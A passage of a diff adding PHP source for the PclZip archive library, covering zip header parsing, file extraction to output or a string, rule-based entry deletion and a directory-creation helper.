+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Write gz file format footer
+    $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
+    @fwrite($v_dest_file, $v_binary_data, 8);
+
+    // ----- Close the temporary file
+    @fclose($v_dest_file);
+
+    // ----- Opening destination file
+    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+      $p_entry['status'] = "write_error";
+      return $v_result;
+    }
+
+    // ----- Open the temporary gz file
+    if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
+      @fclose($v_dest_file);
+      $p_entry['status'] = "read_error";
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['size'];
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @gzread($v_src_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+    @fclose($v_dest_file);
+    @gzclose($v_src_file);
+
+    // ----- Delete the temporary file
+    @unlink($v_gzip_temp_name);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileInOutput()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileInOutput(&$p_entry, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+//      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+    // ----- Trace
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+        if ($p_entry['compressed_size'] == $p_entry['size']) {
+
+          // ----- Read the file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Send the file to the output
+          echo $v_buffer;
+          unset($v_buffer);
+        }
+        else {
+
+          // ----- Read the compressed file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Decompress the file
+          $v_file_content = gzinflate($v_buffer);
+          unset($v_buffer);
+
+          // ----- Send the file to the output
+          echo $v_file_content;
+          unset($v_file_content);
+        }
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileAsString()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    $v_header = array();
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+  //      if ($p_entry['compressed_size'] == $p_entry['size'])
+        if ($p_entry['compression'] == 0) {
+
+          // ----- Reading the file
+          $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
+        }
+        else {
+
+          // ----- Reading the file
+          $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Decompress the file
+          if (($p_string = @gzinflate($v_data)) === FALSE) {
+              // TBC
+          }
+        }
+
+        // ----- Trace
+      }
+      else {
+          // TBC : error : can not extract a folder in a string
+      }
+
+    }
+
+  	// ----- Change abort status
+  	if ($p_entry['status'] == "aborted") {
+        $p_entry['status'] = "skipped";
+  	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Swap the content to header
+      $v_local_header['content'] = $p_string;
+      $p_string = '';
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Swap back the content to header
+      $p_string = $v_local_header['content'];
+      unset($v_local_header['content']);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    $v_data = unpack('Vid', $v_binary_data);
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x04034b50)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 26);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 26)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
+
+    // ----- Get filename
+    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
+
+    // ----- Get extra_fields
+    if ($v_data['extra_len'] != 0) {
+      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
+    }
+    else {
+      $p_header['extra'] = '';
+    }
+
+    // ----- Extract properties
+    $p_header['version_extracted'] = $v_data['version'];
+    $p_header['compression'] = $v_data['compression'];
+    $p_header['size'] = $v_data['size'];
+    $p_header['compressed_size'] = $v_data['compressed_size'];
+    $p_header['crc'] = $v_data['crc'];
+    $p_header['flag'] = $v_data['flag'];
+    $p_header['filename_len'] = $v_data['filename_len'];
+
+    // ----- Recuperate date in UNIX format
+    $p_header['mdate'] = $v_data['mdate'];
+    $p_header['mtime'] = $v_data['mtime'];
+    if ($p_header['mdate'] && $p_header['mtime'])
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+    }
+
+    // TBC
+    //for(reset($v_data); $key = key($v_data); next($v_data)) {
+    //}
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set the status field
+    $p_header['status'] = "ok";
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadCentralFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    $v_data = unpack('Vid', $v_binary_data);
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x02014b50)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 42);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 42)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
+
+    // ----- Get filename
+    if ($p_header['filename_len'] != 0)
+      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
+    else
+      $p_header['filename'] = '';
+
+    // ----- Get extra
+    if ($p_header['extra_len'] != 0)
+      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
+    else
+      $p_header['extra'] = '';
+
+    // ----- Get comment
+    if ($p_header['comment_len'] != 0)
+      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
+    else
+      $p_header['comment'] = '';
+
+    // ----- Extract properties
+
+    // ----- Recuperate date in UNIX format
+    //if ($p_header['mdate'] && $p_header['mtime'])
+    // TBC : bug : this was ignoring time with 0/0/0
+    if (1)
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+    }
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set default status to ok
+    $p_header['status'] = 'ok';
+
+    // ----- Look if it is a directory
+    if (substr($p_header['filename'], -1) == '/') {
+      //$p_header['external'] = 0x41FF0010;
+      $p_header['external'] = 0x00000010;
+    }
+
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFileHeaders()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success,
+  //   0 on error;
+  // --------------------------------------------------------------------------------
+  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
+  {
+    $v_result=1;
+
+  	// ----- Check the static values
+  	// TBC
+  	if ($p_local_header['filename'] != $p_central_header['filename']) {
+  	}
+  	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
+  	}
+  	if ($p_local_header['flag'] != $p_central_header['flag']) {
+  	}
+  	if ($p_local_header['compression'] != $p_central_header['compression']) {
+  	}
+  	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
+  	}
+  	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
+  	}
+
+  	// ----- Look for flag bit 3
+  	if (($p_local_header['flag'] & 8) == 8) {
+          $p_local_header['size'] = $p_central_header['size'];
+          $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
+          $p_local_header['crc'] = $p_central_header['crc'];
+  	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadEndCentralDir()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadEndCentralDir(&$p_central_dir)
+  {
+    $v_result=1;
+
+    // ----- Go to the end of the zip file
+    $v_size = filesize($this->zipname);
+    @fseek($this->zip_fd, $v_size);
+    if (@ftell($this->zip_fd) != $v_size)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- First try : look if this is an archive with no commentaries (most of the time)
+    // in this case the end of central dir is at 22 bytes of the file end
+    $v_found = 0;
+    if ($v_size > 26) {
+      @fseek($this->zip_fd, $v_size-22);
+      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read for bytes
+      $v_binary_data = @fread($this->zip_fd, 4);
+      $v_data = @unpack('Vid', $v_binary_data);
+
+      // ----- Check signature
+      if ($v_data['id'] == 0x06054b50) {
+        $v_found = 1;
+      }
+
+      $v_pos = ftell($this->zip_fd);
+    }
+
+    // ----- Go back to the maximum possible size of the Central Dir End Record
+    if (!$v_found) {
+      $v_maximum_size = 65557; // 0xFFFF + 22;
+      if ($v_maximum_size > $v_size)
+        $v_maximum_size = $v_size;
+      @fseek($this->zip_fd, $v_size-$v_maximum_size);
+      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read byte per byte in order to find the signature
+      $v_pos = ftell($this->zip_fd);
+      $v_bytes = 0x00000000;
+      while ($v_pos < $v_size)
+      {
+        // ----- Read a byte
+        $v_byte = @fread($this->zip_fd, 1);
+
+        // -----  Add the byte
+        //$v_bytes = ($v_bytes << 8) | Ord($v_byte);
+        // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
+        // Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
+        $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);
+
+        // ----- Compare the bytes
+        if ($v_bytes == 0x504b0506)
+        {
+          $v_pos++;
+          break;
+        }
+
+        $v_pos++;
+      }
+
+      // ----- Look if not found end of central dir
+      if ($v_pos == $v_size)
+      {
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Read the first 18 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 18);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 18)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
+
+    // ----- Check the global size
+    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
+
+	  // ----- Removed in release 2.2 see readme file
+	  // The check of the file size is a little too strict.
+	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
+	  // While decrypted, zip has training 0 bytes
+	  if (0) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
+	                       'The central dir is not at the end of the archive.'
+						   .' Some trailing bytes exists after the archive.');
+
+      // ----- Return
+      return PclZip::errorCode();
+	  }
+    }
+
+    // ----- Get comment
+    if ($v_data['comment_size'] != 0) {
+      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
+    }
+    else
+      $p_central_dir['comment'] = '';
+
+    $p_central_dir['entries'] = $v_data['entries'];
+    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
+    $p_central_dir['offset'] = $v_data['offset'];
+    $p_central_dir['size'] = $v_data['size'];
+    $p_central_dir['disk'] = $v_data['disk'];
+    $p_central_dir['disk_start'] = $v_data['disk_start'];
+
+    // TBC
+    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
+    //}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDeleteByRule()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDeleteByRule(&$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Scan all the files
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+    @rewind($this->zip_fd);
+    if (@fseek($this->zip_fd, $v_pos_entry))
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read each entry
+    $v_header_list = array();
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+
+      // ----- Read the file header
+      $v_header_list[$v_nb_extracted] = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+
+        return $v_result;
+      }
+
+
+      // ----- Store the index
+      $v_header_list[$v_nb_extracted]['index'] = $i;
+
+      // ----- Look for the specific extract rules
+      $v_found = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_found = true;
+                  }
+                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
+                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_found = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  $v_found = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      // ereg() is deprecated with PHP 5.3
+      /*
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              $v_found = true;
+          }
+      }
+      */
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  $v_found = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  break;
+              }
+          }
+      }
+      else {
+      	$v_found = true;
+      }
+
+      // ----- Look for deletion
+      if ($v_found)
+      {
+        unset($v_header_list[$v_nb_extracted]);
+      }
+      else
+      {
+        $v_nb_extracted++;
+      }
+    }
+
+    // ----- Look if something need to be deleted
+    if ($v_nb_extracted > 0) {
+
+        // ----- Creates a temporay file
+        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+        // ----- Creates a temporary zip archive
+        $v_temp_zip = new PclZip($v_zip_temp_name);
+
+        // ----- Open the temporary zip file in write mode
+        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
+            $this->privCloseFd();
+
+            // ----- Return
+            return $v_result;
+        }
+
+        // ----- Look which file need to be kept
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+
+            // ----- Calculate the position of the header
+            @rewind($this->zip_fd);
+            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Error log
+                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+                // ----- Return
+                return PclZip::errorCode();
+            }
+
+            // ----- Read the file header
+            $v_local_header = array();
+            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Check that local file header is same as central file header
+            if ($this->privCheckFileHeaders($v_local_header,
+			                                $v_header_list[$i]) != 1) {
+                // TBC
+            }
+            unset($v_local_header);
+
+            // ----- Write the file header
+            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Read/write the data block
+            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+        }
+
+        // ----- Store the offset of the central dir
+        $v_offset = @ftell($v_temp_zip->zip_fd);
+
+        // ----- Re-Create the Central Dir files header
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            // ----- Create the file header
+            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+                $v_temp_zip->privCloseFd();
+                $this->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Transform the header to a 'usable' info
+            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+        }
+
+
+        // ----- Zip file comment
+        $v_comment = '';
+        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+        }
+
+        // ----- Calculate the size of the central header
+        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
+
+        // ----- Create the central dir footer
+        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
+            // ----- Reset the file list
+            unset($v_header_list);
+            $v_temp_zip->privCloseFd();
+            $this->privCloseFd();
+            @unlink($v_zip_temp_name);
+
+            // ----- Return
+            return $v_result;
+        }
+
+        // ----- Close
+        $v_temp_zip->privCloseFd();
+        $this->privCloseFd();
+
+        // ----- Delete the zip file
+        // TBC : I should test the result ...
+        @unlink($this->zipname);
+
+        // ----- Rename the temporary file
+        // TBC : I should test the result ...
+        //@rename($v_zip_temp_name, $this->zipname);
+        PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+        // ----- Destroy the temporary archive
+        unset($v_temp_zip);
+    }
+
+    // ----- Remove every files : reset the file
+    else if ($v_central_dir['entries'] != 0) {
+        $this->privCloseFd();
+
+        if (($v_result = $this->privOpenFd('wb')) != 1) {
+          return $v_result;
+        }
+
+        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
+          return $v_result;
+        }
+
+        $this->privCloseFd();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDirCheck()
+  // Description :
+  //   Check if a directory exists, if not it creates it and all the parents directory
+  //   which may be useful.
+  // Parameters :
+  //   $p_dir : Directory path to check.
+  // Return Values :
+  //    1 : OK
+  //   -1 : Unable to create directory
+  // --------------------------------------------------------------------------------
+  function privDirCheck($p_dir, $p_is_dir=false)
+  {
+    $v_result = 1;
+
+
+    // ----- Remove the final '/'
+    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
+    {
+      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
+    }
+
+    // ----- Check the directory availability
+    if ((is_dir($p_dir)) || ($p_dir == ""))
+    {
+      return 1;
+    }
+
+    // ----- Extract parent directory
+    $p_parent_dir = dirname($p_dir);
+
+    // ----- Just a check
+    if ($p_parent_dir != $p_dir)
+    {
+      // ----- Look for parent directory
+      if ($p_parent_dir != "")
+      {
+        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
+        {
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Create the directory
+    if (!@mkdir($p_dir, 0777))
+    {
